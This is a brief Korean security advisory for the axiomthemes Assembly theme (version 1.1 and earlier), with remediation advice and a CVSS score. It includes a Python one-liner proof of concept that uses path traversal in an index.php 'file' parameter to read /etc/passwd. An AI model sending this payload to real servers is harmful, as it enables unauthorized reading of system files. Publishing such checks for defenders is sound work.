axiomthemes Assembly 버전 1.1 이하
공격자는 악의적인 PHP 파일을 서버에 업로드하거나, 기존 파일을 수정하여 서버의 파일을 읽거나 수정할 수 있습니다.
최신 버전의 axiomthemes Assembly를 업데이트 하거나, PHP 파일 포함을 제한하는 보안 설정을 적용하여 취약점을 해결할 수 있습니다.
로컬에서 Python을 실행하여 axiomthemes Assembly의 취약점을 점검할 수 있습니다. 이 코드는 로컬 서버의 /etc/passwd 파일을 읽어오는데 성공하면 'root:' 문자열이 포함된 결과가 출력되며, 이는 취약점이 존재함을 의미합니다. 실행 전 Python이 설치되어 있어야 하며, axiomthemes Assembly가 로컬에서 실행 중이어야 합니다.
python -c "import urllib.request; print(urllib.request.urlopen('http://localhost/axiomthemes/assembly/index.php?file=../../../../etc/passwd').read().decode('utf-8'))" | grep 'root:'
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H